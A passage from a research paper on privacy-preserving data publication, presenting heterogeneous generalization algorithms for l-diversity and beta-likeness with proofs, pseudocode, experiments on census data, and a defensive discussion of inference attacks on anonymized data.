of ℓ distinct possible sensitive values, whose equiprobability
warrants ℓ-diversity, which limits the adversary’s confidence
in any 𝑆𝐴 value to 1/ℓ due to Equation 5 in [43]. □

Our scheme comprises: (i) privacy-oriented bucketization
that assures, with randomization, the equiprobability of each
tuple’s matches, and (ii) utility-oriented assignment extraction
that selects specific matches. As in [16, 56, 59], no decisions
consider both privacy and utility. As argued in [57], this nonin-
terference between privacy and utility confers immuninity to
the minimality attack [55]. We revisit this matter in Section 6.

4 Heterogeneous 𝛽-likeness
Here, we inherit the assumptions regarding the adversary and
the bucketization-and-assignment-extraction workflow of our
solution for ℓ-diversity, and adapt it to 𝛽-likeness [11]:
Definition 4 (𝛽-likeness). An anonymized data set D ′ =
(𝑄 ′, 𝑆′) satisfies 𝛽-likeness with respect to the original
data D = (𝑄,𝑆) iff the confidence of an adversary regard-
ing the sensitive value 𝑠𝑖 of any original record 𝑞𝑖 ∈ 𝑄 does
not increase, in relative terms, by more than a threshold 𝛽 ≥ 0
upon the publication of D ′, i.e., (𝜓𝑖 − 𝜙𝑖 )/𝜙𝑖 ≤ 𝛽, where 𝜓𝑖 is the
probability of any putative SV 𝑠′

𝑖
measured as its frequency in

the set of matches in D ′ assigned to 𝑞𝑖 , and 𝜙𝑖 is the frequency
of 𝑠′

𝑖
in the overall sensitive value distribution.

In effect, 𝛽-likeness bounds the increase in an adversary’s
confidence3 on the likelihood of any sensitive value:

𝜓𝑖 −𝜙𝑖
𝜙𝑖

≤ 𝛽⇔ 𝜓𝑖 ≤ (1+ 𝛽)𝜙𝑖 ∀𝑖 (3)

We thus address the following problem:

Problem 2. Transform a data set D = (𝑄,𝑆) to a form D ′

that satisfies 𝛽-likeness and minimizes 𝐺𝐶𝑃(𝑄 ′).
First, we consider whether 𝛽-likeness may be achieved via

ℓ-diversity. We find that this is the case under conditions.

Theorem 4. For 𝛽 ≥ 𝜙𝑀/𝜙𝑚 −1, 𝛽-likeness on dataset D is
achieved by ℓ-diversity with ℓ ≥ 1/(1+ 𝛽)𝜙𝑚, where 𝜙𝑀 is the
maximum and 𝜙𝑚 minimum frequency of an SV in D.

3If confidence drop is a concern, our schemes can be extended to bound it.
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Proof. By ℓ-diversity, any SV has probability at most 1/ℓ. This
bound satisfies 𝛽-likeness iff it covers the least frequent SV,
i.e., 1/ℓ ≤ (1+ 𝛽)𝜙𝑚. By the pigeonhole principle, to achieve
ℓ-diversity, the maximum SV frequency should be at most 1/ℓ,
i.e., 𝜙𝑀 ≤ 1/ℓ ⇒ 𝜙𝑀 ≤ (1+ 𝛽)𝜙𝑚, hence 𝛽 ≥ 𝜙𝑀/𝜙𝑚 −1. □

By Theorem 4, if 𝛽 ≥ 𝜙𝑀/𝜙𝑚−1, we can achieve 𝛽-likeness
via ℓ-diversification. Otherwise, we use a new bucketiza-
tion scheme for 𝛽-likeness, along with other elements of our
methodology: Once we define ` buckets, we extract assign-
ments by Algorithm 2 to define a low-𝐺𝐶𝑃 generalization,
craft a set of ` disjoint assignments, and select one of them
uniformly at random to allot SVs; randomization thwarts ad-
versaries who know the algorithm [16, 56, 59]. Henceforward,
we discuss this new bucketization scheme for 𝛽-likeness.

4.1 Delimiting the Number of Buckets
Let B𝑖 denote the set of buckets that include at least one tuple
with SV 𝑣𝑖 , and B the set of all ` buckets. The frequency of
SV 𝑣𝑖 within a tuple’s set of matches is bounded via B𝑖:

𝜓𝑖 ≤
|B𝑖 |
|B| (4)

Here, we need to construct buckets in a way that leads to
assignments satisfying 𝛽-likeness. Due to Equation (4), to
achieve the condition of Equation (3), it suffices that:

|B𝑖 |/|B| ≤ (1+ 𝛽) · 𝜙𝑖
⇒ |B𝑖 | ≤ (1+ 𝛽) · 𝜙𝑖 · |B|, ∀𝑖 ∈ 𝑆𝐴 (5)

The condition of Equation (5) is sufficient (though not
necessary) to obtain 𝛽-likeness; we call it strict 𝛽-likeness.

4.2 Purity of Buckets
We proceed by examining the conditions for achieving the
strongest case of privacy by 𝛽-likeness, 0-likeness.

Definition 5 (Pure bucket). A pure bucket is a bucket that
contains only tuples of a single SA value.
Theorem 5. Heterogeneous generalization achieves strict
0-likeness iff all buckets are pure.
Proof. When all buckets are pure, no bucket contains more
than one SA value; thus, adding up the numbers of buckets
containing each SA value 𝑣𝑖 , we obtain the total number of
buckets; in reverse, when

∑
𝑖 |B𝑖 | = |B|, each bucket is counted

exactly once in the summation, hence is pure. Thus, all buckets
are pure iff

∑
𝑖 |B𝑖 | = |B|. Then it suffices to prove that, by

strict 𝛽-likeness, 𝛽 = 0⇔∑
𝑖 |B𝑖 | = |B|. From Equation (5):∑︁

𝑖

|B𝑖 | ≤ (1+ 𝛽) ·
∑︁
𝑖

𝜙𝑖 · |B| = (1+ 𝛽) · |B| (6)

For 𝛽=0, that becomes
∑

𝑖 |B𝑖 | ≤ |B|. However, as each
bucket contains tuples of at least one SA value, it cannot be∑

𝑖 |B𝑖 | < |B|; thus, strict 0-likeness effectively implies that∑
𝑖 |B𝑖 | = |B|. In reverse, when ∑

𝑖 |B𝑖 | = |B|, Equation (6)
holds for any 𝛽 ≥ 0, hence strict 0-likeness is achieved. □

Theorem 5 leads to the following corollary.
Corollary 1. Heterogeneous generalization achieves strict
0-likeness only if the bucket size 𝑐 is a common divisor of the
support counts of tuples by SV, (𝑛1, . . . , 𝑛 |𝑆𝐴|).

Proof. Assume bucket size 𝑐 that is not a common divisor of
(𝑛1, . . . , 𝑛 |𝑆𝐴|). Then at least one SV 𝑣𝑖 has support 𝑛𝑖 , s.t. 𝑛𝑖
mod 𝑐 ≠ 0, hence at least one record of 𝑣𝑖 is in a non-pure
bucket; by Theorem 5, we cannot get strict 0-likeness. □

A smaller 𝑐 yields more buckets, hence more matches
per tuple. A limitation to fewer matches tends to reduce
information loss. Thus, lower loss is more likely to be achieved
with the largest allowed value of 𝑐, the GCD of support counts.

4.3 Delimiting 𝛽
As discussed, larger bucket size leads to fewer buckets, hence
fewer matches per tuple, hence better utility. If we set bucket
size to 1, we achieve highest privacy (0-likeness) but lowest
utility; ifwe use a single bucket of size 𝑛,we achieve no privacy,
but perfect utility. We follow an intermediate approach. Ideally,
a bucket contains all tuples of the same SV. All buckets should
be of equal size 𝑐; if necessary, we add dummy tuples to render
the number of tuples 𝑛 divisible by 𝑐; then ` = |B| = 𝑛/𝑐.
Let 𝑛𝑖 = 𝜙𝑖 · 𝑛 be the support of SV 𝑣𝑖 . We derive a lower
bound on the privacy parameter 𝛽 from Equation (5):

|B𝑖 | ≤ (1+ 𝛽) · 𝜙𝑖 · |B|, ∀𝑖 ⇔
𝛽 ≥ |B𝑖 |/|B | · 𝑛/𝑛𝑖 −1, ∀𝑖 ⇔
𝛽 ≥ 𝑐/min

𝑖
{𝑛𝑖/|B𝑖 |}−1 (7)

Equation (7) provides a lower bound on the 𝛽 achievable
for a bucket size 𝑐 and an allocation of tuples into buckets. To
minimize that bound, we need to maximize min𝑖 {𝑛𝑖/|B𝑖 |}.
Definition 6 (occupancy). Given a bucketization B, an SV 𝑣𝑖
with support 𝑛𝑖 , and the set of buckets B𝑖 that include tuple(s)
with 𝑣𝑖 , the occupancy of 𝑣𝑖 in B is 𝑜𝑐𝑐𝑖 = 𝑛𝑖/|B𝑖 |, i.e., the
average number of tuples of 𝑣𝑖 per bucket.
Then, minimizing the lower bound on 𝛽, i.e., optimizing

privacy under bucket size 𝑐, raises the following problem:

Problem 3 (occupancy maximization,MaxMinOcc). Given
a database DB of 𝑛 tuples, in which each of 𝑛𝑖 tuples is
associated with SV 𝑣𝑖 ,

∑
𝑖 𝑛𝑖 = 𝑛, and a bucket size 𝑐, such that 𝑛

mod 𝑐 = 0, allocate 𝑐 tuples to each of 𝐵 = 𝑛/𝑐 buckets to form
a bucketization B that maximizes the minimum occupancy,
𝑚𝑖𝑛𝑜𝑐𝑐 = min𝑖

{
𝑛𝑖
|B𝑖 |

}
, where B𝑖 is the set of buckets that

contain at least one tuple of SV 𝑣𝑖 .
Occupancy maximization calls for placing tuples of each

SV in as few buckets as possible. In case the support 𝑛𝑖 of
an SV 𝑛𝑖 is divisible by 𝑐, i.e., 𝑛𝑖 mod 𝑐 = 0, then the tuples
of each such 𝑣𝑖 are to be placed in 𝑛𝑖/𝑐 buckets with optimal
occupancy, 𝑐. If 𝑛𝑖 mod 𝑐 = 𝑟𝑖 ≠ 0, it would be ideal to place
each remainder of 𝑟𝑖 < 𝑐 tuples in one bucket only, along
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with tuples of other SVs. If we avoid splitting such remainder
tuples into more than one buckets, then each SV occupies
⌈𝑛𝑖/𝑐⌉ buckets, with 𝑚𝑖𝑛𝑜𝑐𝑐 =min𝑖 {𝑛𝑖/⌈𝑛𝑖/𝑐⌉}.
Theorem 6. MaxMinOcc is NP-hard.
Proof. Consider the decision version of the problem, which
asks whether a certain 𝑚𝑖𝑛𝑜𝑐𝑐 value is feasible. This prob-
lem is in NP, as it takes polynomial time to verify that a
given solution achieves a certain occupancy value. Con-
sider any instance of the Partition problem, which is to
decide whether we can divide a set of 𝑚 items, of sizes
{𝑛1, 𝑛2, ..., 𝑛𝑚}, with

∑
𝑖 𝑛𝑖 = 𝐴, into two partitions 𝑆, 𝑆′, such

that
∑

𝑖∈𝑆 𝑛𝑖 =
∑

𝑗∈𝑆′ 𝑛 𝑗 = 𝐴/2. We transform this input to
𝑛′
𝑖
= 𝐴+𝑛𝑖 , ∀𝑖, and add 𝑚 dummy items of size 𝐴. The sum of

all items is (2𝑚+1) · 𝐴, whilemin𝑖 𝑛′𝑖 ≥ 𝐴 > max𝑖 𝑛′𝑖/2. We apply
an algorithm forMaxMinOcc on the same input, considering
the 𝑚 items as sensitive values and their sizes 𝑛𝑖 as support
counts, to decide whether there is a bucketization B into 𝐵 = 2
buckets of size 𝑐 = 𝑚𝐴+ 𝐴/2 that achieves 𝑚𝑖𝑛𝑜𝑐𝑐 =min𝑖 𝑛′𝑖 .
Now, if the count of any item is split among buckets, its occu-
pancywill be atmost max𝑖 𝑛′𝑖/2 < 𝐴, hence𝑚𝑖𝑛𝑜𝑐𝑐 < 𝐴 ≤min𝑖 𝑛′𝑖 .
Thus, achieving 𝑚𝑖𝑛𝑜𝑐𝑐 ≥ min𝑖 𝑛′𝑖 requires that no item be
split among buckets. In reverse, if each item is fully contained
in exactly one bucket, then 𝑚𝑖𝑛𝑜𝑐𝑐 =min𝑖 𝑛′𝑖 . Thus, we can
reach 𝑚𝑖𝑛𝑜𝑐𝑐 =min𝑖 𝑛′𝑖 if and only if we can divide all items
into two buckets of size 𝐴/2. With bucket size 𝑐, exactly 𝑚
items should be in each bucket to yield the 𝑚𝐴 contribution;
the remaining 𝐴/2 contribution corresponds to a subset of input
items that form a solution to Partition and vice versa. There-
fore, an algorithm forMaxMinOcc effectively decides any
instance of Partition. Since we performed a polynomial-time
transformation, it follows thatMaxMinOcc is NP-hard. □

4.4 Example
ThisNP-hardness result implies that finding the largest feasible
bucket size 𝑐, under a privacy bound 𝛽, is also NP-hard. The
following example provides more intuition.
LetD be a set of 25 tuples, six having SV ‘a’, seven having

SV ‘b’, and twelve having SV ‘d’. The GCD of {6, 7, 12} is 1.
Then, to achieve 0-likeness we need to place the tuples in 25
buckets of size 1. With a higher 𝛽, we can opt for larger bucket
capacity and achieve lower information loss. We may test
several bucket sizes, starting from the GCD of {𝑛1, 𝑛2, . . .},
up to the maximum SV support 𝑚𝑎𝑥{𝑛𝑖}, to find the largest
that satisfies the desired privacy level 𝛽, using Equation 7. We
show three example bucketizations.

Table 7: Example — 𝑐 = 4
𝐵1 𝐵2 𝐵3 𝐵4 𝐵5 𝐵6 𝐵7

d d d a a b b
d d d a a b b́
d d d a b b b́
d d d a b b b́

(a) If we set 𝑐 = 4, a good bucketization using dummy tuples
of one SV only (b́) is as in Table 7. The minimum 𝛽 we can
achieve is:

𝛽 ≥ 𝑐/min
𝑖∈𝑆𝑉

{𝑛𝑖/|B𝑖 |}−1 = 4/min {6/2, 7/3, 12/3}−1 = 12/7−1 ≈ 0.71

Table 8: Example — 𝑐 = 5
𝐵1 𝐵2 𝐵3 𝐵4 𝐵5

a a b d d
a b b d d
a b b d d
a b d d d
a b d d d

(b) If we set 𝑐 = 5, there is no need for dummy tuples, as
5 divides 𝑛 exactly. Table 8 shows the ensuing bucketization.
The minimum 𝛽 we can achieve now is:

𝛽 ≥ 𝑐/min
𝑖∈𝑆𝑉

{𝑛𝑖/|B𝑖 |}−1 = 5/min {6/2, 7/2, 12/3}−1 = 5/3−1 ≈ 0.66

(c) If we set 𝑐 = 6, ‘a’ and ‘d’ fill one and two buckets
respectively; ‘b’ fills one bucket, yet one leftover tuple is
placed in a fifth bucket; we add 5 dummy tuples to the last
bucket, as in Table 9. The minimum 𝛽 we can achieve is:

𝛽 ≥ 𝑐/min
𝑖∈𝑆𝑉

{𝑛𝑖/|B𝑖 |}−1 = 6/min {6/1, 7/2, 12/2}−1 = 12/7−1 ≈ 0.71

Table 9: Example — 𝑐 = 6
𝐵1 𝐵2 𝐵3 𝐵4 𝐵5

a d d b b
a d d b b́
a d d b b́
a d d b b́
a d d b b́
a d d b b́

Interestingly, the minimum attainable privacy parameter 𝛽
does not worsen monotonically as 𝑐 grows, since it depends on
the distribution of SVs in a complex manner. Thus, for 𝛽 > 0,
we start from 𝑐 equal to the support of the most frequent SV,
𝑚𝑎𝑥{𝑛𝑖} (getting basic privacy and high utility), and proceed
testing every 𝑐 ∈ {𝑚𝑎𝑥{𝑛𝑖}, . . . ,𝐺𝐶𝐷} to find the largest 𝑐
that yields a bucketization satisfying the given 𝛽.

4.5 Algorithm for 𝛽-likeness
Algorithm 3 outlines our bucketization for 𝛽-likeness; given a
datataset D and the 𝛽 parameter, it returns a set of buckets
which we use to build a heterogeneous generalization. We
find a utility-aware bucketization (Lines 17–39) by a heuristic.
First, we search for a bucket size 𝑐 that satisfies the desired
privacy level. Starting from 𝑐 =max𝑛𝑖 , we greedily calculate
a distribution of SVs in buckets to obtain occupancy ratios,
𝑛𝑖/|B𝑖 | (Line 21), until the minimum 𝛽′ a bucketization allows
(Line 22) satisfies the desired 𝛽 (Line 19). In the worst case,
𝑐 reaches the GCD of SV supports, whereupon 0-likeness
(hence any 𝛽 > 0) is attainable.
With bucket size 𝑐 set, we prepare the tuples for bucket

placement, sorting them by decreasing SV support (Line 23)
and rearranging them so that groups that fill buckets exactly
(𝑛𝑖 mod 𝑐 = 0) come first (24). By this order, we place tuples
in buckets, filling one bucket before moving on (Lines 26–37).
If all tuples of one SV fit in the empty space of a bucket 𝐵 𝑗 ,
we place them all therein (Lines 29–31). Otherwise, we place
in 𝐵 𝑗 a random subset of tuples that fit therein. After 𝐵 𝑗

reaches its capacity, we proceed to 𝐵 𝑗+1 (Line 37). We add
dummy tuples as needed (Line 38) and return the resulting
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bucket set (Line 39). Time complexity is dominated by the
cost of scanning tuples for each examined value of 𝑐, hence it
is𝑂 (𝑛2); Line 21 performs the calculations of Lines 24–37 to
obtain the number of buckets |B𝑖 | that contain at least one tuple
of each SV 𝑣𝑖 , without placing tuples in buckets. Once buckets
are set, we get a low-𝐺𝐶𝑃 generalization by Algorithm 2 and
allot SVs by choosing an assignment uniformly at random
from a random set of disjoint ones.

ALGORITHM 3: Bucketization for 𝛽-likeness
Data: set of tuples D; sensitive attribute SA; parameter 𝛽 ≥ 0
Result: set of ` buckets B = {𝐵1 , 𝐵2 , . . . , 𝐵` }

1 B := ∅;
2 𝑆𝑉 := {𝑠 |𝑠 = 𝑡 [𝑆𝐴], 𝑡 ∈ 𝐷 }; // Set of all sensitive values
3 for 𝑠𝑖 ∈ 𝑆𝑉 do
4 𝑛𝑖 := | {𝑡 ∈ 𝐷 : 𝑡 [𝑆𝐴] = 𝑠𝑖 } |; // Support of sensitive value s
5 c := GreatestCommonDivisor(𝑛1 , 𝑛2 , . . . 𝑛|𝑆𝐴| );
6 // Strict 0-likeness:
7 if 𝛽 = 0 then
8 ` := 𝑛

𝑐
; // if c=1, solution is 𝑛 buckets of size 1

9 quicksort tuples in 𝐷 by their SA value;
10 for 𝑖 ∈ 1, 2, . . . , ` do
11 B𝑖 := ∅; // Initialization.
12 for 𝑗 ∈ 1, 2, . . . , ` do
13 B𝑖 := B𝑖 ∪ {𝑡𝑖·`+ 𝑗 };
14 B := B∪ {B𝑖 };
15 return B;
16 // Otherwise, 𝛽 > 0:
17 𝛽′ :=∞; // initially.
18 𝑐 := max

𝑠𝑖∈𝑆𝐴
{𝑛𝑖 } +1;

19 while 𝛽′ > 𝛽 do
20 𝑐 := 𝑐−1;
21 Calculate |B𝑖 |, ∀𝑖, required to place the tuples in the buckets;
22 𝛽′ := 𝑐

min𝑖

{
𝑛𝑖
|B𝑖 |

} −1; // attainable 𝛽 for this 𝑐
23 quickSort tuples by SV support;
24 re-arrange so that groups with (𝑛𝑖 mod 𝑐) = 0 appear first;
25 𝑗 = 1; // bucket index
26 for 𝑖 = 1, . . . , |𝑆𝑉 | do
27 temp:= {𝑡 ∈ D : 𝑡 [𝑆𝐴] = 𝑠𝑖 };
28 while temp ≠ ∅ do
29 if |𝐵 𝑗 | + |temp | ≤ 𝑐 then
30 // temp fits in the remaining space of 𝐵 𝑗

31 𝐵 𝑗 := 𝐵 𝑗 ∪ temp;
32 else
33 while |𝐵 𝑗 | < 𝑐 do
34 𝐵 𝑗 := 𝐵 𝑗 ∪ {𝑡 ∈ temp};
35 temp := temp \ {𝑡 };
36 B := B∪𝐵 𝑗 ;
37 𝑗 := 𝑗 +1; // next bucket
38 Add 𝑐− |𝐵 𝑗 | dummy tuples in 𝐵 𝑗 ;
39 return B;

4.6 Proof of 𝛽-likeness
Theorem 7. Consider a recast data set D ′= (𝑄 ′, 𝑆′), pro-
duced from D= (𝑄,𝑆) by Algorithm 3 for bucketization and
Algorithm 2 for extracting assignments using those buckets,
and an adversary who knows the overall SV distribution in 𝑆,
identical to that in 𝑆′, and all values in 𝑄. D ′ satisfies 𝛽-like-
ness with respect to D, i.e., the confidence of the adversary
posterior to the publication of D ′ on the sensitive value 𝑠𝑖 of
any 𝑞𝑖 ∈𝑄 increases, relative to the prior confidence due to the
knowledge of the SV distribution in 𝑆, by no more than 𝛽 ≥ 0.

Proof. Our 𝛽-likeness algorithm produces a setB of ` buckets
from which we build an `-regular generalization graph by
Algorithm 2. We generate a set of ` disjoint assignments

therefrom by randomization [56, 59] and select on of those
uniformly at random to assign SVs. By the same argument as in
the proof of Theorem 3, an adversary considers these ` options
as equiprobable. As each record’s matches provide possible
SVs whose distribution heeds 𝛽-likeness, this equiprobability
of matches assures 𝛽-likeness. □

As argued in [57], the noninterference between privacy and
utility confers immuninity to the minimality attack [55].

5 Experimental Evaluation
We evaluate our algorithms for anonymization by ℓ-diversity
and 𝛽-likeness against the following benchmarks:

PrivBayes: The state-of-the-art method for data publishing
by differential privacy [61], which constructs a Bayesian
network that models attribute correlations, injects noise into a
set of low-dimensional marginals, constructs an approximate
data distribution using these noisy marginals and the Bayesian
network, and samples tuples from this distribution to yield a
synthetic dataset. Whereas 𝛽-likeness bounds the risk incurred
by the publication of the whole data set with regard to sensitive
attribute values, differential privacy bounds the risk incurred
by the inclusion of an individual’s data in a publishable data
set,with regard to any information about that individual. These
two privacy notions have different goals; the former bounds
a specific risk associated with data publication; the latter
bounds a holistic risk associated with one’s participation in
the data. Yet it is interesting to compare the two under settings
in which they provide the same bound in terms of confidence
increase. We render PrivBayes comparable to 𝛽-likeness in
that sense, by setting 𝜖 = ln(1+ 𝛽); by this setting, differential
privacy bounds, by 𝑒𝜖 [17], the increase of an adversary’s
confidence on the output of any function K, hence also on a
sensitive attribute’s value, incurred by the inclusion of a target
individual’s data in the published database.

NH: The state-of-the-art ℓ-diversification method by ring
generalization [56]. NH partitions tuples, merges partitions
until they satisfy ℓ-diversity, and applies ring generalization
to each ensuing partition; runtimes include the time for parti-
tioning, building rings, and the randomization scheme.

BuReL: The state-of-the-art homogeneous generalization
scheme for 𝛽-likeness [11].

GR: Our methods employing the 𝑂 (𝑛2) Greedy algorithm
of [16] for assignment extraction. Runtime includes bucketi-
zation, assignment extraction, and randomization [56, 59].

SG: Our algorithms that employ the 𝑂 (𝑛2 log𝑛)
SortGreedy routine [16] for tuple matching, along with
bucketization and assignment extraction by randomization.

HG: Our schemes utilizing the 𝑂 (𝑛3) Hungarian algo-
rithm [18, 37, 51] to build assignments. HG minimizes NCP
per iteration, but that does not translate to optimality across
iterations; we include bucketization and randomization.
On ℓ-diversity, we testGR, SG, and HG in the defaultmode

and in a thresholdmode (GR𝜏 ,SG𝜏 ,HG𝜏),which places tuples
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(a) CENSUS (b) Uniform (c) Zipfian
Figure 2: Information Loss on ℓ-diversity: effect of ℓ.

in buckets having the most distant 𝑄𝐼; these heuristics may
bring utility benefit, ensuring distant tuples are not matched to
each other; still, due to a concurrent consideration of privacy
and utility, they are vulnerable to the minimality attack [55];
we include them to show the benefit we may gain at the cost
of vulnerability [57]. NH is coded4 in C++; BuReL, GR, SG,
HG in Java. All experiments ran on a 24-core Intel Xeon CPU
@2.67GHz with 48G RAM running Ubuntu 16.04 LTS.

Table 10: The CENSUS and COIL 2000 datasets
Attribute Card. Type
Age 79 num
Gender 2 cat

Education Level 17 num
Marital Status 6 cat
Race 9 cat

Work Class 10 cat
Country 83 cat
Occupation 51 cat

Attribute Card. Type
#Houses 10 cat

Household Size 6 cat
Age 6 cat

Customer Type 10 cat
Customer Subtype 41 cat

DataWe use real data drawn form the CENSUS [2] and
the COIL 2000 [1] datasets; CENSUS contains 500K tuples
on 8 attributes, both numerical and categorical, while for
COIL2000, which contains ∼10K tuples, we maintain the first
5 attributes, all categorical (Table 10). The last attribute is the
𝑆𝐴, while the rest constitute the 𝑄𝐼s. To examine the effect of
skew in SVs, we generate synthetic datasets of up to 500K
tuples and 8 attributes; using the CENSUS data, we maintain
the 7 𝑄𝐼 attributes while assigning an SV drawn from the
domain range of the 8th attribute following an (a) uniform or
(b) zipfian distribution with various \ values5.

Parameters. We study behavior with respect to: (a) the
privacy parameters ℓ and 𝛽; (b) the number of𝑄𝐼 dimensions 𝑑,
(c) the partition size 𝑝, when allowing for data partitioning;
(d) dataset size 𝑛; and (e) the \ parameter of zipfian data. The
default settings are ℓ=10, 𝑑=8, 𝑛=10K, \=0.5, and 𝛽=3.

Evaluation Metrics. We measure runtime, information
loss (𝐺𝐶𝑃), and accuracy in aggregation queries of this form:
SELECT COUNT(∗ ) FROM Anonymized_data
WHERE p red ( 𝐴1 ) AND . . . AND p red ( 𝐴_ ) AND p red (𝑆𝐴)

This count query has a conjunctive predicate on _ randomly
selected 𝑄𝐼 attributes and the 𝑆𝐴; pred(A) has the form
𝐴 ∈ 𝑅𝐴, where 𝑅𝐴 is an arbitrary interval in the domain of 𝐴.
We vary _ and selectivity Θ. Assuming uniform distribution,
we achieve Θ if each attribute 𝐴 selects records within a range

4Our code and data are available at http://github.com/discont.
5Greater \ corresponds to more biased distributions.

of length |𝐴|·\𝐴, such that (\𝐴)_+1=\, where |𝐴| is the domain
length of attribute 𝐴. In effect, the length of 𝑅𝐴 should be |𝐴|·
\
1
_+1 . Given a query, we compute the precise result 𝑝𝑟𝑒𝑐 from
the original data, and an estimate 𝑒𝑠𝑡 from the anonymized
data, assuming uniform distribution and proportionality of
results to the intersection between the query and generalized
attribute domains. We define |𝑒𝑠𝑡−𝑝𝑟𝑒𝑐 |

𝑝𝑟𝑒𝑐
×100% as the relative

error. If 𝑝𝑟𝑒𝑐 in a query is 0, we drop that query.

5.1 Evaluation on ℓ-diversity
Effect of ℓ.We run all algorithms over three datasets of 10K
tuples: (a) a subset of CENSUS that contains its first 10K
tuples, (b) the Uniform dataset thereof and (c) the Zipfian
dataset with \ = 0.5. Figure 2 shows that the utility gain of our
schemes vs. NH increases as ℓ grows from 2 to 10. This gain
is more visible with CENSUS and Zipfian, where NH incurs
information loss up to 3.5x compared to HG for ℓ=10. This is
due to the fact that NH, designed for 𝑘-anonymity, is adapted
to ℓ-diversification by merely merging partitions, hence yields
large partitions that exacerbate information loss [16].

Effect of Dimensionality.We study the effect of 𝑄𝐼 dimen-
sionality 𝑑 on 10K datasets, with ℓ=10. Figure 3 shows the
results. Our schemes outperform NH in utility for all 𝑑 values
on CENSUS, for 𝑑 > 3 on Zipfian, and for 𝑑 > 6 on Uniform.
As real data, CENSUS is inherently more complex. NH cannot
handle this complexity. On CENSUS information loss drops
as 𝑑 grows. Our schemes resist the curse of dimensionality,
while NH’s homogeneity becomes detrimental.

Effect of Data Size.We investigate scalability on data sets
of exponentially growing size, from 1k to 500k tuples, drawn
from CENSUS, with 𝑑=8. Figures 4(a) and 5(a) present𝐺𝐶𝑃
and runtime results for ℓ = 10. Our algorithms consistently
outperform NH in terms of 𝐺𝐶𝑃, with as much as 3.5x im-
provement in data utility. The execution of our algorithms in
threshold mode took prohibitively long, due to the overhead
of extra 𝑁𝐶𝑃 calculations in the bucketization phase, without
a significant utility benefit; therefore, we settle for using the
regular versions of these algorithms. We also run the same al-
gorithms over data partitions of size 𝑝 (GR𝑝 , SG𝑝 , HG𝑝), i.e.,
let them anonymize each partition separately in a data-parallel
environment [16]; these variants incur more information loss,
yet approach NH in runtime, as Figure 5(a) shows.
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Figure 3: Information Loss on ℓ-diversity: effect of 𝑑.
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Figure 5: Execution time on ℓ-diversity: effect of the parameters 𝑛, 𝑝 and \.

Scalability by Partitioning.We study the partition-based
variants further. Figures 4(b) and 5(b) plot 𝐺𝐶𝑃 and runtime
for a 100k subset of CENSUS divided in partitions of varying
size. NH runs on data partitions by default, but its merging
of partitions is non-parallelizable. As partition size drops
(leftwards), execution time falls, eventually reaching that of
NH, with a modest cost in 𝐺𝐶𝑃. Thus, our schemes achieve
better utility than NH in equal runtime, while all compared
methods achieve the same privacy guarantee.

Effect of Data Skew.We vary \ in the Zipfian data from 0.5
to 0.9, increasing skew. Figure 4(c) shows that our algorithms
are resilient, while NH misses quality as \ grows. The utility
gain of HG vs. NH rises to 4x for \ = 0.9, while SG and GR
follow suit. Figure 5(c) shows runtimes are stable.

5.2 Evaluation on 𝛽-likeness
Effect of 𝛽. We study the effect of 𝛽 over three data sets
of size 10K. Figure 6 shows that, as 𝛽 grows from 1 to 5,
privacy becomes laxer, thus all methods afford better utility.
HG outperforms BuReL across the board, while SG and GR
follow HG with a slight gap; the gain is greater for smaller 𝛽,

and more evident on CENSUS and Zipfian.
Effect of Data Size. Figure 7(a) shows that the utility gap

of our schemes from BuReL grows with data size, on random
subsets of CENSUS, with 𝛽=3. Figure 7(b) shows that they
need more time, yet we may apply them in a data-parallel
manner to obtain scalability, as in Figure 5(b).

Effect of Data Skew. Figure 7(c) shows that more skewed
zipfian distributions (larger \) cause higher information loss.
HG outperforms BuReL, with 33% more utility for \=0.5.

Range Query Error. To compare against PrivBayes, in-
clude the COIL2000 data set, and measure the effect of dummy
tuples, we report the median relative error of random range
count queries, as reported in Evaluation Metrics. Figures 8(a)
and 9(a) show the effect of 𝛽, with query selectivity 10% and
dimensionality _ = 3 𝑄𝐼s, plus the 𝑆𝐴. The top of the fig-
ures shows the values of 𝜖 = ln(1 + 𝛽) in PrivBayes. Our
schemes maintain low relative query error, decreasing with 𝛽,
outperforming BuReL and PrivBayes by up to 4x for CEN-
SUS and 10x for COIL2000. Figures 8(b) and 9(b) show
results for 𝛽 = 3 and corresponding 𝜖 = ln(1+ 𝛽) = 1.386 for
PrivBayes, while varying _ from 1 to 6 for CENSUS and
1 to 4 for COIL2000. Our approaches surpass others by up
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Figure 6: Information Loss on 𝛽-likeness: effect of 𝛽.
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Figure 9: Median query relative error of the COIL2000 dataset: effect of 𝛽, _, and selectivity Θ.

to 83%. Figures 8(c) and 9(c) show results for _=3 and 𝛽=3,
while varying selectivity Θ from 0.05 to 0.25. The query error
of our schemes decreases as selectivity grows. We expand
the results of Figures 8(a) and 9(a) to the full range of 𝜖 in
PrivBayes and corresponding 𝛽, in Figures 10(a) and 10(b).
For CENSUS,when 𝛽 ≥ 49, we employ ℓ-diversity for the sake
of 𝛽-likeness, by Theorem 4. Our methods retain an advantage
over PrivBayes. We also conduct an experiment using prefix
ranges [0, 𝑖] for the numerical educational level attribute and
singe-valued conditions on age, gender, marital status, and
race, as suggested by Census Bureau staff [60]. The results in
Figure 10(c) show the advantage over PrivBayes remains.

6 Resistance to Attacks
We now discuss how 𝛽-likeness resists adversarial attacks.
Vulnerability to a minimality attack [55] is due to [57]: (1)

determinism; (2) unequal groupings; and (3) mingling SVs
and 𝑄𝐼s in decision-making. Our scheme is safe from (1) due
to randomization [16, 56, 59]; from (2), as it assigns equal
matches to each record; and from (3), as it considers only SVs
when bucketizing and only 𝑄𝐼s when generalizing values.
A deFinetti attack learns correlations of 𝑆𝐴 and 𝑄𝐼 val-

ues via a Naïve Bayes classifier [33], exploiting divergences
between the global 𝑆𝐴 distribution and local knowledge. As
𝛽-likeness controls this divergence, it curbs the attack [11].
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We consider a data vendor anonymizing data once for all
purposes, contrariwise to works that train a representation for
each task [62], hence succumb to composition attacks [19].

Cormode [14] suggests an attack based on a Naïve
Bayes (NB) classifier that predicts the 𝑆𝐴 value of
a tuple 𝑡 with 𝑚 𝑄𝐼 values, 𝑡 𝑗 , 1 ≤ 𝑗 ≤ 𝑚, as �̂�(𝑡) =

argmax𝑣𝑖 ∈𝑉 Pr[𝑣𝑖]
∏𝑚

𝑗=1Pr[𝑡 𝑗 |𝑣𝑖]. The attack learns condi-
tional probabilities Pr[𝑡 𝑗 |𝑣𝑖] from noisy count query results.
While the noise conceals the contribution of any individual,
its effect on Pr[𝑡 𝑗 |𝑣𝑖] is relatively small [14]; the classifier
effectively exploits variations of the conditional probability
